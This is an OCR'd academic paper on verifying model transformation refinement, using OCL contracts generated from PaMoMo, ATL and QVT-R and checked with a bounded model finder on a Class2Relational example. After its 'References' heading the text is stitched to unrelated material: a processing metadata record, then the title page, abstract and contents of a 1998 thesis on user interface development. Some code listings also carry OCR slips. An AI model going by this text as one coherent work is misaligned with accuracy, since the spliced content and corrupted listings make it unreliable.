attached a logical formula stating extra conditions, typically (but not solely) constraining the attribute values in the graph pattern. Optionally, patterns can define one enabling condition and any number of disabling conditions, to reduce the scope of the pattern to the locations where the enabling condition is met, and the disabling conditions are not. Fig. 2 shows to the left three invariants that our Class2Relational transformation should fulfill. This specification is very general, in the sense that it gathers only the minimal requirements that any implementation of the Class2Relational should satisfy, leaving room for different transformation strategies. In particular, the specification only requires the transformation of at least one class in every class hierarchy, allowing freedom as to how many classes per hierarchy to transform (being 1 the minimum). This condition is checked by invariant SomeClassInHierarchy2Table, which states that if a class c does not have ancestors or children that have been transformed (disabling conditions AncestorMapped and ChildMapped respectively), then c should be transformed into a table (invariant SomeClassInHierarchy2Table). In the invariant, assigning the same variable to different attributes accounts for ensuring equality of their values, like X, which is assigned to the name of both the class c and the table t, meaning that both objects should have the same name. Moreover, relation one is the transitive closure of the inheritance relation. Altogether, this invariant states that at least one class in each hierarchy should be transformed. The remaining invariants in this specification handle the correct transformation of attributes. To its right, invariant Attribute2Column states that if a class c is transformed (enabling condition ClassMapped), then its owned attributes should be converted into columns of the table. Below, invariant InheritedAttribute2Column states that all inherited attributes should be transformed into columns as well. Finally, another invari- ant (omitted for reasons of space) states that attributes of non-mapped children classes should also be transformed for their mapped ancestors. Fig. 2 shows to the right some pre- and postconditions for the input/output models. Whereas the shown invariants are positive and therefore their satisfaction is demanded, the shown pre- and postconditions are negative, indicating forbidden situations. Thus, precondition UniqueClassName forbids duplicated class names for input models, and NoInhCycle forbids having inheritance cycles. Three additional preconditions, not shown for space constraints, forbid duplicate attribute names in the same class, either defined locally or inherited. Similarly, postcondition UniqueTableName forbids duplicated table names in output models, and UniqueTableColumnName forbids two equally named columns in the same table. Note that although this is not the case, we could also define negative invariants, as well as positive pre- and postconditions, in specifications. Developers can use the specification in Fig. 2 as a guide to implement the transformation in their favorite language. As an example, Listing 1 shows a possible implementation in ATL. The strategy followed is transforming each class and, in the generated table, creating columns coming from the attributes defined in the class or its ancestor classes (checked in line 10). The specification would also admit other transformation strategies, like mapping only top classes or only leaf classes. Note that the implementation transforms packages into schemas in lines 3–4, though the specification does not state how to handle them (there is just a multiplicity constraint saying that classes are always in a package). ```atl 1 module AllClasses; create OUT : SimpleRelational from IN : SimpleClass; 2 3 rule P2S ( from p : SimpleClass!Package to s : SimpleRelational!Schema ) 4 5 rule C2T ( from c : SimpleClass!Class to t : SimpleRelational!Table ( name <− c.name, schema <− c.package ) ) 6 7 rule A2A ( from ua : SimpleClass!Attribute, c : SimpleClass!Class ( c = ua.owner or c.ancestors()−>includes(ua.owner) ) to col : SimpleRelation!Column ( name <− ua.name, owner <− ua.owner ) ) 8 9 Listing 1. Transformation implementation using ATL (“AllClasses.atl”). ``` Then, the question arises whether the implemented transformation is a refinement of the specification, i.e., whether for any valid input model (satisfying the preconditions), its transformation yields a model satisfying the invariants and postconditions of the specification. As we will see in Section 4, the answer to this question is no because this implementation does not guarantee the invariant InheritedAttributeToColumn, since the rule A2A contains a little bug (which we will uncover in Section 4.1). While finding this bug can be done manually by testing, in this paper we propose an automated procedure to detect the postconditions and invariants of the specification that are not satisfied. Other scenarios for checking refinement are also of practical use. For example, if we want to migrate this transformation into QVT-R, we might want to ensure that the target transformation is compatible with the original one. The next section discusses the notion of transformation refinement, while Section 4 presents our approach to automatically assess the scenarios identified in Fig. 1. 3 Model Transformation Refinement Conceptually, a model-to-model transformation $S$ from a source metamodel $M_{src}$ to a target metamodel $M_{tar}$ can be represented by a relation $Sem(S)$ between pairs of source and target models of the metamodels$^4$. $$Sem(S) = \{(M_{src}, M_{tar}) : M_{src} \rightarrow S M_{tar}, \text{ where } M_{src} \text{ is a model of } M_{src}, \text{ and } M_{tar} \text{ is a model of } M_{tar}\}$$ A relation $S$ does not need to be functional, i.e., the same source model may be related with several target models. In this way, we support both deterministic and non-deterministic transformations. Based on this characterization, we can express a refinement relation of a transformation. Def. 1 (Refinement) Given two transformation specifications $S$, $S'$ between a source metamodel $M_{src}$ and a target metamodel $M_{tar}$. $S'$ refines $S$ iff the following conditions hold: $$\forall M_{src}, M_{tar} : ((M_{src}, M_{tar}) \in Sem(S') \land \exists M'_{tar} : (M_{src}, M'_{tar}) \in Sem(S)) \Rightarrow (M_{src}, M_{tar}) \in Sem(S)$$ \hspace{1cm} (1) $$\forall M_{src}, M_{tar} : (M_{src}, M_{tar}) \in Sem(S) \Rightarrow (\exists M'_{tar} : (M_{src}, M'_{tar}) \in Sem(S'))$$ \hspace{1cm} (2) The second condition specifies the executability of $S'$: $S'$ must accept all inputs that $S$ accepts. The first condition requires that $S'$ behaves consistent to $S$ on those inputs. Fig. 3 illustrates this relationship using a set notation. The source models accepted by $S$ are given by set $Dom(S)$ (its domain, i.e., the models in the source metamodel of $S$). The definition domain of $S$ is the set $Ran(S)$ (its range, made of the models in the target metamodel of $S$). Models are represented as dots, pairs of models in $Sem(S)$ are joined by a solid arrow, and pairs of models in $Sem(S')$ are joined by dashed arrows. Fig. 3(a) shows a valid refinement as the upper pair in $Sem(S')$ is also in $Sem(S)$. Since refinement is not concerned with source models not considered by $S$, the lower source model is allowed to be related with any target model in $Sem(S)$. Fig. 3(b) is not a refinement because the pair in $Sem(S')$ is not in $Sem(S)$, while the source model of this pair is in $Dom(S)$. Fig. 3(c) is not a refinement, as $Sem(S')$ misses one source model of $Dom(S)$. Altogether, the figure illustrates that the domain of $S'$ should include the domain of $S$ and be consistent with the elements in the domain of $S$. For the sake of simplicity, we assume that $S$ and $S'$ share the same metamodels. In practice, $S$ may focus on the most important aspects of a transformation, while a refinement $S'$ may be defined in more detail and over larger source/target metamodels. Provided that the metamodels for $S'$ are subtypes of the metamodels of $S$ [24], we can always silently extent the metamodels for $S$ to those of $S'$ in Definition 1. Some approaches, like model transformation contracts [9,14], characterize the semantics of a transformation $S$ from a source to a target metamodel by $^4$ Notice that we are assuming source-to-target transformations. means of three types of constraints: preconditions ($\text{Pre}_S$), invariants ($\text{Inv}_S$) and postconditions ($\text{Post}_S$). We capture this semantics in Def. 2. In the definition, we represent by $\text{Pre}_S$ the set of preconditions $\text{pre}_i$ that the source models of $S$ must fulfill, and use $\text{Pre}_S(M_{\text{src}})$ to indicate that the model $M_{\text{src}}$ fulfills all the preconditions of $S$, i.e., $\text{pre}_1(M_{\text{src}}) \land \ldots \land \text{pre}_n(M_{\text{src}})$. We use a similar notation for invariants and postconditions as well. For this kind of transformations, assuming that their conditions can be translated into first-order logic, we can restate Def. 1 in terms of characterizing predicates as follows. **Def. 2 (Contract-based transformation specification)** Let $S$ be a contract-based transformation specification from a source metamodel $M_{\text{src}}$ to a target metamodel $M_{\text{tar}}$. The relation set $\text{Sem}(S)$ defined by $S$ can be characterized by three types of predicates that represent $S$’s preconditions, invariants and postconditions (the contract of $S$) in the following way $$\text{Sem}(S) = \{(M_{\text{src}}, M_{\text{tar}}) : (M_{\text{src}} \in M_{\text{src}}) \land (M_{\text{tar}} \in M_{\text{tar}}) \land \text{Pre}_S(M_{\text{src}}) \land \text{Inv}_S(M_{\text{src}}, M_{\text{tar}}) \land \text{Post}_S(M_{\text{tar}})\}$$ with the additional condition that $\forall (M_{\text{src}} \in M_{\text{src}})$ $$(\text{Pre}_S(M_{\text{src}}) \Rightarrow \exists (M_{\text{tar}} \in M_{\text{tar}}) : \text{Inv}_S(M_{\text{src}}, M_{\text{tar}}) \land \text{Post}_S(M_{\text{tar}}))$$ **Prop. 1 (Refinement for contract-based transformation specifications)** Let $S$ and $S'$ be contract-based transformation specifications from a source metamodel $M_{\text{src}}$ to a target metamodel $M_{\text{tar}}$. $S'$ refines $S$ iff the following conditions hold $$\forall (M_{\text{src}} \in M_{\text{src}}, M_{\text{tar}} \in M_{\text{tar}}) (\text{Pre}_S(M_{\text{src}}) \land \text{Inv}_S(M_{\text{src}}, M_{\text{tar}}) \land \text{Post}_S(M_{\text{tar}})) \Rightarrow (\text{Inv}_S(M_{\text{src}}, M_{\text{tar}}) \land \text{Post}_S(M_{\text{tar}}))$$ $$\forall (M_{\text{src}} \in M_{\text{src}}) (\text{Pre}_S(M_{\text{src}}) \Rightarrow \text{Pre}_S(M_{\text{src}}))$$ **Proof.** We can show that using Def. 2, conditions (1) and (2) hold iff conditions (5) and (6) hold. The proof is included in the extended version of this paper. This proposition allows checking refinement using satisfiability solving for transformations that can be characterized by contracts, as the next section will show. --- Fig. 3. Valid (a) and invalid (b, c) refinements. Notice that Def. 2 characterizes an ‘angelic’ choice [3] for the executability: given a valid source model (w.r.t. $\text{Pre}_S$), there must be at least one target model such that $\text{Inv}_S$ and $\text{Post}_S$ hold. We do not require that $\text{Pre}_S$ and $\text{Inv}_S$ always imply $\text{Post}_S$, like one often expects an implementation to imply a postcondition in program verification. In our context, $\text{Inv}_S$ is part of the specification, just as $\text{Pre}_S$ and $\text{Post}_S$. **Strong refinement.** We demanded above that a refining transformation specification $S'$ must accept all input models that the refined transformation $S$ accepts (specified by $\text{Pre}_S$), and that the output models of $S'$ for those inputs are valid w.r.t. $\text{Inv}_S$ and $\text{Post}_S$. We did not characterize the effect of $S'$ for input models not fulfilling $\text{Pre}_S$. However, if we think of $\text{Post}_S$ as a contract that any transformation execution needs to fulfill, it makes sense to define a new notion of refinement that we call strong refinement. Thus, $S'$ is a strong refinement of $S$ iff it is a refinement and $$\forall (M_{src} \in M_{src}, M_{tar} \in M_{tar}) ((\text{Pre}_{S'}(M_{src}) \land \text{Inv}_{S'}(M_{src}, M_{tar}) \land \text{Post}_{S'}(M_{tar})) \Rightarrow \text{Post}_S(M_{tar}))$$ (7) Previous works [25] have approached transformation refinement from a testing perspective. Hence, given a set of (manually created) input models, developers might discover an implementation result violating some postcondition or invariant, but cannot prove refinement. In the next section, we provide a stronger, automated methodology based on constraint solving to perform the checking. ## 4 Checking Refinement Using OCL Model Finders Our methodology for checking transformation refinement builds on the fact that transformations in several declarative languages can be translated into a unified representation using OCL contracts. This unified representation, called transformation model [4], can be easily checked and analyzed using readily available OCL model finders. In short, the source and target metamodels are merged, and OCL constraints over this merged metamodel expresses the transformation semantics. While such contracts are not directly executable, they are well-suited for automated checking of transformation properties as they allow expressing conditions covering the source and target models of the transformation at the same time. The checking can be done using a model finder, i.e., a satisfiability checker for metamodels, to verify the absence of counter examples for a given property. This way, for example, we have shown in [6] how to check if an ATL transformation can create output models that violate given constraints. Thus, we propose to generate and combine the OCL contracts for two transformation specifications in order to analyze the refinement relation between them following Prop. 1. Fig. 4 shows the steps in our refinement checking methodology: (1) generation of the OCL contracts from both specifications $S$ and $S'$, (2) generation of counter example conditions, and (3) checking unsatisfiability of the counter-example conditions with an OCL model finder. Next, we detail these steps. Fig. 4. Steps in the methodology to check refinement. (1) **Generation of OCL transformation contracts.** First, each of the specifications $S$ and $S'$ is translated into equivalent sets of OCL constraints, $\text{cons}(S)$ and $\text{cons}(S')$, over the combination of the source and target metamodels, $M_{src}$ and $M_{tar}$. Namely, $\text{cons}(S) = \text{precons}(S) \cup \text{invcons}(S) \cup \text{postcons}(S)$, where $\text{precons}(S)$, $\text{invcons}(S)$, and $\text{postcons}(S)$ are OCL encodings of $\text{Pre}_S$, $\text{Inv}_S$, and $\text{Post}_S$, fulfilling the conditions explained in Def. 2. Thus, in this setting we have $(M_{src}, M_{tar}) \in \text{Sem}(S)$ iff the evaluation of the constraints in $\text{cons}(S)$ over $M_{src}$ combined with $M_{tar}$ is true (and analogously for $S'$). Generators of such sets of OCL constraints have been described for several declarative, rule-based, specification/implementation transformation languages, including PaMoMo [13], QVT-R [7], triple grammars [7] and ATL [6]. (2) **Generation of counter-example conditions.** In order to check the two conditions for refinement of Prop. 1, we need that $\text{invcons}(S) \cap \text{postcons}(S)$ is implied by $\text{precons}(S) \land \text{invcons}(S') \land \text{postcons}(S')$ and that $\text{precons}(S')$ is implied by $\text{precons}(S)$ for every instance of $M_{src}$ combined with $M_{tar}$. This can be expressed as the following counter-example conditions that must all be unsatisfiable: 1. For each constraint $c$ in $\text{invcons}(S) \cup \text{postcons}(S)$, the set of constraints $\text{precons}(S) \cup \text{invcons}(S') \cup \text{postcons}(S') \cup \{\text{negated}(c)\}$ must be unsatisfiable. 2. For each constraint $c$ in $\text{precons}(S')$, the set of constraints $\text{precons}(S) \cup \{\text{negated}(c)\}$ must be unsatisfiable. 3. (For strong refinement) For each constraint $c$ in $\text{Post}_S$, the set of constraints $\text{precons}(S') \cup \text{invcons}(S') \cup \text{postcons}(S') \cup \{\text{negated}(c)\}$ must be unsatisfiable. If none of the counter-example conditions in 1–2 (1–3) is satisfiable, then $S'$ refines (strongly refines) $S$. (3) **Satisfiability checking of counter-example conditions.** We use OCL model finders to check the counter-example conditions. There are several approaches for checking the satisfiability of OCL constraints, and our methodology is independent of them. For example, UML2Alloy [1] and the USE Validator [17] translate the problem into relational logic and use a SAT solver to check it, while UMLtoCSP [8] translates it into a constraint-logic program. The approach of Queralt et al. [20] uses resolution, and Clavel et. al [10] map a subset of OCL into a first-order logic and employ SMT solvers to check unsatisfiability. In this paper, we have used the USE Validator because it supports a large subset of OCL and because the underlying SAT solver provides robust performance for a variety of problems. This tool performs model finding within given search bounds, using finite ranges for the number of objects, links and attribute values. Thus, when a counter example is found, we have proven that there is no refinement; if no counter example is found, we only know that the refinement is guaranteed up to the search bounds. However, not finding a counterexample is a strong indication of refinement if wide enough bounds are chosen for the search. 4.1 Running Example In Sect. 2, we presented a specification of the Class2Relational transformation using PAMoMo (cf. Fig. 2), as well as a possible implementation of the AllClasses strategy using ATL (cf. Listing 1). Next, we illustrate our methodology by checking whether AllClasses refines Class2Relational. (1) Generation of OCL transformation contracts. First, we generate the OCL contracts for Class2Relational and AllClasses. Following the compilation and tool support presented in [14], we generate one OCL invariant from each PAMoMo pattern. Listing 2 shows the OCL invariants for precondition UniqueClassName, invariant Attribute2Column and postcondition UniqueTableName. These constraints belong to the sets precons(Class2Relational), invcons(Class2Relational) and postcons(Class2Relational), respectively. Notice that we silently assume a singleton class GlobalContext which hosts all OCL invariants. We refer the reader to [14] for a detailed presentation of this compilation scheme, and just highlight that the OCL expressions derived from preconditions only constrain the source models, those from postconditions only constrain the target models, and those from invariants constrain both. Listing 2. Some OCL invariants generated from the PAMoMo specification. ``` 1 context GlobalContext inv PAMoMoPreUniqueClassName: 2 not Class.allInstances() −>exists(c1 | Class.allInstances() −>exists(c2 | c2<>c1 and c1.name=c2.name)) 3 4 context GlobalContext inv PAMoMoInvAttribute2Column: 5 Class.allInstances() −>forall(c | 6 Attribute.allInstances() −>forall(a | c.atts −>includes(a) implies 7 Table.allInstances() −>forall(t | c.name=t.name implies 8 Column.allInstances() −>forall(c | t.cols −>includes(c) and a.name=co.name))) 9 10 context GlobalContext inv PAMoMoPosUniqueTableName: 11 not Table.allInstances() −>exists(t | 12 Column.allInstances() −>exists(c1 | t.cols −>includes(c1) and 13 Column.allInstances() −>exists(c2 | t.cols −>includes(c2) and c1.name=c2.name)) ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 Then, we derive an OCL contract for the ATL implementation, following the rules and tool described in [6]. In this case, precons(AllClasses) and postcons(AllClasses) only contain the source and target metamodel integrity constraints, like multiplicity constraints. Listing 3 shows some OCL constraints in invcons(AllClasses). They control the matching of source objects, the creation of target objects and the bindings of properties in the target objects (see [6] for details). Listing 3. OCL invariants generated from the ATL rule A2A. Notice that the mapping used for ATL [6] imposes a limitation for \( \text{invcons}(\text{AllClasses}) \): The OCL constraints use additional trace classes connecting the source and target objects in the transformation model. This means that we can use these constraints only in their positive form in the counter-example conditions, because for the negation we would need to express “there is no valid instance of the trace classes such that...”, which is not available in OCL. In practice, this means that, using this OCL compilation, we can check whether an ATL specification refines any other transformation specification, but not the opposite. The compilations for PAMoMo and QVT-R do not have this limitation. (2) Generation of counter-example conditions. From the full version of \( \text{Class2Relational} \) (Fig. 2 only shows an excerpt), we obtain 7 OCL invariants in \( \text{precons} \) (5 coming from PAMoMo preconditions and 2 from multiplicity constraints), 4 invariants in \( \text{postcons} \) (2 and 2), and 4 invariants in \( \text{invecons} \). From the ATL version of \( \text{AllClasses} \), we obtain 2 invariants in each \( \text{precons} \) and \( \text{postcons} \) for the multiplicity constraints, and 10 invariants in \( \text{invecons} \) characterizing the ATL rules. This gives 4 counter-example conditions to check for the first condition in Prop. 1, as explained on page 8, plus 2 cases for the second. If we want to check for strong refinement, we have 4 more counter-example conditions. (3) Satisfiability checking of counter-example conditions. Checking the 10 counter-example conditions, for example with the USE Validator, yields the counter example shown in Fig. 5(a). The counter example satisfies all invariants that characterize \( \text{AllClasses} \) (hence it is a model of a valid ATL execution), but the OCL expression derived from the PAMoMo invariant \( \text{InheritedAttribute2Column} \) is violated (hence this pair of models is not in \( \text{Sem(Class2Relational)} \)). In particular, the problem is that the attribute inherited by \( \text{class1} \) is not attached to \( \text{table1} \), but it is incorrectly attached to \( \text{table2} \). Consequently, the instance is a counter example for postcondition \( \text{UniqueTableColumnName} \) as well. If we examine the rule A2A in Listing 1 based on this counter example, we discover that the binding \( \text{owner<ua.owner} \) is incorrect and should be changed to \( \text{owner<-c} \). Fixing this error and checking the updated counter-example conditions again yields no counter example. Thus, the fixed version of \( \text{AllClasses} \) is a refinement of \( \text{Class2Relational} \). The ATL transformation is not a strong refinement of the PAMoMo specification though, since without demanding unique names in the source, ATL does not establish uniqueness of names in the target. 4.2 Tool support For the first step in Fig. 4, the generation of transformation models, we have automated generators available for PAMoMo and ATL. So far, the generation from QVT-R is performed manually. For the second step, we have created a prototype to automate the construction of the counter-example conditions. For the third step, we call the USE Validator [17] to find refinement counter examples. 5 Further Examples In this section, we discuss some more results for the case study. We have considered a ‘zoo’ of various specifications of Class2Relational using different languages (PAMoMo, ATL and QVT-R) and following three strategies (mapping all classes, only top classes, or only bottom classes). We have applied our methodology to check refinement for each pair of specifications (110 counter-example conditions in total). Fig. 6 shows the results. The absence of an arrow indicates no refinement (except for ATL, which can only be checked on the implementation side of the refinement relation). The details for all strategies are online\(^6\), here we just highlight some interesting points. We have considered two PAMoMo specifications: Class2Relational (the running example), and a refinement of this called TopOrAll which demands a ‘uniform’ mapping either of all classes in the source model, or only of the top ones. The ATL implementation of the TopClasses strategy does not refine the Class2Relational specification. This strategy translates each top class into a table, and the attributes of the top class and its subclasses into columns of the table. However, if two subclasses of a top class have an attribute with the same name (which is not excluded by the preconditions of Class2Relational) then the generated table gets two columns with the same name, violating the postcondition \textit{UniqueTableColumnName}. By contrast, the ATL versions of \textit{AllClasses} (discussed in the previous section) and of \textit{BottomClasses} are refinements of \textit{Class2Relational}. \textit{AllClasses} even refines the stronger specification \textit{TopOrAll}. Our methodology is also applicable to QVT-R. A QVT-R transformation $S$ can be used in \textit{enforce} mode to create a target model from scratch starting from a source model\footnote{QVT-R also supports the incremental scenario, but we leave it out here.}, or in \textit{checkonly} mode to check the relation between an existing pair of models. Hence, we distinguish the sets $\text{SEM}_{\text{ENF}}(S)$ of source models and target models generated by $S$, and $\text{SEM}_{\text{CHK}}(S)$ of accepted pairs of source and target models. We will see that they are not equal. Listing 4 shows the QVT-R implementation of the \textit{BottomClasses} strategy. Interestingly, using this implementation in enforce mode is a refinement of the \textit{Class2Relational} specification, but using it in checkonly mode is not. This is because the checkonly mode checks for the elements that should be created by the enforce mode, but the target model can contain more elements. The problem is that these extra elements can violate invariants or postconditions from the requirements specification. For example, Fig. 5(b) shows a refinement counter example violating the postcondition \textit{UniqueClassName}, while satisfying the QVT-R transformation in checkonly mode. ``` transformation BottomClasses (source : SimpleClass, target : SimpleRelational) { key SimpleRelational::Table { name; } key SimpleRelational::Column { owner, name; } top relation PackageToSchema { checkonly domain source p : SimpleClass::Package {}; enforce domain target s : SimpleRelational::Schema {}; } top relation ClassToTable { cn : String; checkonly domain source c : SimpleClass::Class { package = p : SimpleClass::Package {}, name = cn {}; } enforce domain target t : SimpleRelational::Table { schema = s : SimpleRelational::Schema {}, name = cn {}; when { c.children ->size()=0 and PackageToSchema(p, s); }; where { AttributeToColumn(c, t); SuperAttributeToColumn(c, t); } } } relation AttributeToColumn { an : String; checkonly domain source c : SimpleClass::Class { atts = a : SimpleClass::Attribute { name = an } {}; } enforce domain target t : SimpleRelational::Table { cols = cl : SimpleRelational::Column { name = an } {}; } ``` Fig. 6. Refinements between strategies (transitively reachable links are omitted). relation SuperAttributeToColumn { checkonly domain source c : SimpleClass::Class { package = p : SimpleClass::Package { classes = sc : SimpleClass::Class {} } }; enforce domain target t : SimpleRelational::Table { when { c.ancestors() -> includes(sc); } where { AttributeToColumn(sc, t); } } } Listing 4. QVT-R implementation of the BottomClasses strategy. In order to make the checkonly transformation a refinement of Class2Relational, we need to include a top-level relation stating that non-bottom classes do not have an associated table. This extra relation is non-constructive and is not concerned with the creation of target elements, but with their absence. As ATL can only be used in enforce mode, this constraint is built-in into ATL. Finally, the ‘check-before-enforce’ semantics of QVT-R prevents the creation of new objects if equivalent ones exist in the target. The equivalence criteria for objects are given through keys. By setting an appropriate key for columns (see line 3 in Listing 4) we avoid having repeated columns in tables. This is why the enforce mode of the QVT-R transformation for the TopClasses strategy correctly refines the ClassToRelational specification (whereas the ATL implementation does not, as explained above). Regarding performance, for the examples considered so far, solving times using the USE Validator have not been an issue (within a few seconds for a default search bound of 0..5 objects per class). It remains as future work to evaluate the scalability on larger examples. 6 Related Work To our knowledge, the only work addressing transformation refinement is [25]. Its authors use Tracts to build transformation contracts. Tracts are OCL invariants that can be used to specify preconditions, postconditions and transformation invariants. The authors introduce the following notion of refinement: a Tract $S'$ refines another one $S$ if $S'$ has weaker preconditions, but stronger invariants and postconditions ($\text{Pre}_S \Rightarrow \text{Pre}_{S'}$) $\wedge$ ($\text{Inv}_{S'} \Rightarrow \text{Inv}_{S}$) $\wedge$ ($\text{Post}_{S'} \Rightarrow \text{Post}_{S}$). This is a safe approximation to replaceability as in Def. 1, while our Prop. 1 exactly characterizes this notion. Moreover, we also distinguish strong refinement. Regarding refinement checking, in [25], refinement is checked by building a suitable set of input test models and testing $S'$ against $S$’s pre/postconditions and invariants. This approach has two drawbacks. First, it is based on testing and on the manual creation of input test models. Secondly, it assumes that $S'$ is an executable implementation which can be used for testing. As we have seen in this paper, $S'$ might be a non-executable specification. Our checking procedure ensures correctness criteria for the refining transformation. In this respect, the work in [19] provides a means to verify a transformation against verification properties, assuming that both are given by patterns, in the line of PAMoMO patterns. Verification properties are restricted to be positive. The checking implies generating all minimal glueings of the transformation. patterns, and checking them against the verification property. In such restricted case, the verification is finitely terminating. We plan to investigate the glueing minimality conditions to provide suitable search bounds for the solver. The use of OCL to define transformation contracts was proposed in [9]. This idea was extended in [4] with the aim to build transformation models as a declarative means to capture the transformation semantics. Transformation models with OCL constraints were used for transformation verification using model finders in [2, 6, 7]. None of these works propose checking transformation refinement. 7 Conclusions and Future Work In this paper, we have presented a methodology and tool support to check transformation refinement. Refinement is useful to check whether an implementation is correct with respect to a specification, to ensure replaceability of implementations (e.g. when migrating a transformation), and to apply step-wise refinement techniques to transformation development. Our methodology can be applied to check refinement between transformations in any specification or implementation language for which a translation to an OCL transformation model exists. To our knowledge, such translations exist for PaMoMo, QVT-R, TGGs, and for a subset of ATL without imperative code blocks. One limitation of the OCL contract-based approach is that recursive rules cannot be generally mapped into OCL contracts, since OCL has no fix-point operator. For example, the QVT-R-to-OCL translation in [7] would, for recursive rules, yield recursive helper operations. For bounded verification, however, such definitions can be still statically unfolded up to a given depth. Our methodology is actually independent of OCL. For example, it would apply to transformations contracts specified in first order logic, too, like in [5]. That would open up further possibilities for symbolic reasoning. Our lightweight methodology permits checking transformation correctness; however, as it relies on bounded model finding, formally, our method can only disprove refinement. Using wide enough bounds can provide high confidence in refinement, though. Another possibility would be to prove implications from the invariants and post-conditions of $S'$ to those of $S$; however, this would require the use of theorem provers, with less automation. We will explore this path in future work. Finally, we also plan to combine the constraints coming from the implementation and the specification to derive models for testing, in the style of [11]. Acknowledgements. Research partially funded by the Nouvelles Équipes Program of the Pays de la Loire Region (France), the EU project NESSoS (FP7 256890), the Spanish Ministry of Economy and Competitivity (project “Go Lite” TIN2011-24139), the R&D programme of the Madrid Region (project “e-Madrid” S2009/TIC-1650). References
{"Source-Url": "https://repositorio.uam.es/bitstream/handle/10486/664285/checking_buttner_LNCS_2013_ps.pdf;jsessionid=0E163ADCC926597D3B4CF4C9D7108CEF?sequence=1", "len_cl100k_base": 9420, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 52635, "total-output-tokens": 11764, "length": "2e13", "weborganizer": {"__label__adult": 0.0003523826599121094, "__label__art_design": 0.00044608116149902344, "__label__crime_law": 0.0003690719604492187, "__label__education_jobs": 0.0014276504516601562, "__label__entertainment": 6.705522537231445e-05, "__label__fashion_beauty": 0.00017702579498291016, "__label__finance_business": 0.00028014183044433594, "__label__food_dining": 0.0003387928009033203, "__label__games": 0.000576019287109375, "__label__hardware": 0.0006885528564453125, "__label__health": 0.0005245208740234375, "__label__history": 0.0002803802490234375, "__label__home_hobbies": 0.00010544061660766602, "__label__industrial": 0.00049591064453125, "__label__literature": 0.00037980079650878906, "__label__politics": 0.00027370452880859375, "__label__religion": 0.0005483627319335938, "__label__science_tech": 0.040069580078125, "__label__social_life": 0.0001201629638671875, "__label__software": 0.0068817138671875, "__label__software_dev": 0.9443359375, "__label__sports_fitness": 0.0002994537353515625, "__label__transportation": 0.0005497932434082031, "__label__travel": 0.0002117156982421875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44155, 0.11468]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44155, 0.25673]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44155, 0.79122]], "google_gemma-3-12b-it_contains_pii": [[0, 657, false], [657, 3221, null], [3221, 6169, null], [6169, 8484, null], [8484, 11845, null], [11845, 14980, null], [14980, 17738, null], [17738, 21025, null], [21025, 23868, null], [23868, 27008, null], [27008, 29778, null], [29778, 31697, null], [31697, 34455, null], [34455, 37632, null], [37632, 40688, null], [40688, 44155, null]], "google_gemma-3-12b-it_is_public_document": [[0, 657, true], [657, 3221, null], [3221, 6169, null], [6169, 8484, null], [8484, 11845, null], [11845, 14980, null], [14980, 17738, null], [17738, 21025, null], [21025, 23868, null], [23868, 27008, null], [27008, 29778, null], [29778, 31697, null], [31697, 34455, null], [34455, 37632, null], [37632, 40688, null], [40688, 44155, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44155, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44155, null]], "pdf_page_numbers": [[0, 657, 1], [657, 3221, 2], [3221, 6169, 3], [6169, 8484, 4], [8484, 11845, 5], [11845, 14980, 6], [14980, 17738, 7], [17738, 21025, 8], [21025, 23868, 9], [23868, 27008, 10], [27008, 29778, 11], [29778, 31697, 12], [31697, 34455, 13], [34455, 37632, 14], [37632, 40688, 15], [40688, 44155, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44155, 0.0]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
8311b228aa5a900459bbf2a3977310e80d83d1f2
1998 Process in user interface development Srinivas V. Mondava The University of Montana Follow this and additional works at: https://scholarworks.umt.edu/etd Let us know how access to this document benefits you. Recommended Citation https://scholarworks.umt.edu/etd/5121 This Thesis is brought to you for free and open access by the Graduate School at ScholarWorks at University of Montana. It has been accepted for inclusion in Graduate Student Theses, Dissertations, & Professional Papers by an authorized administrator of ScholarWorks at University of Montana. For more information, please contact scholarworks@mso.umt.edu. Permission is granted by the author to reproduce this material in its entirety, provided that this material is used for scholarly purposes and is properly cited in published works and reports. ** Please check "Yes" or "No" and provide signature ** Yes, I grant permission No, I do not grant permission Author's Signature Date 06/xx/98 Any copying for commercial purposes or financial gain may be undertaken only with the author's explicit consent. A PROCESS IN USER INTERFACE DEVELOPMENT by Srinivas V. Mondava B.S. Shivaji University, 1988 Presented in partial fulfillment of the requirements for the degree of Master of Science University of Montana 1998 Approved by: Chairperson Dean, Graduate School 6-23-98 Date Most of today's applications are based on graphics-based systems with inherent complexity in design and development. This project presents a process in User Interface development using spiral model and object-oriented principles in design and development. The purpose is to put well-defined software engineering principles into practice. CONTENTS 1. Overview ........................................................................................................1 1.1 Premise ........................................................................................................1 2. General Theory in a UI Development .................................................................3 2.1 Using a Spiral Model of Software Development ........................................3 2.2 Object-Oriented Design Approach .............................................................8 2.3 User Interface Development .....................................................................9 3. The Target Application System .........................................................................14 3.1 EIS and the Role of GUI ..............................................................14 3.2 Design of GUI .......................................................................................16 3.3 First Spiral in GUI Development .........................................................20 4. Evaluation and Further Development ...............................................................24 4.1 Evaluation of Operations in Prototype 1 ..............................................24 4.2 Evaluation of Tools in Prototype 1 .........................................................28 4.3 Next Phase in Development 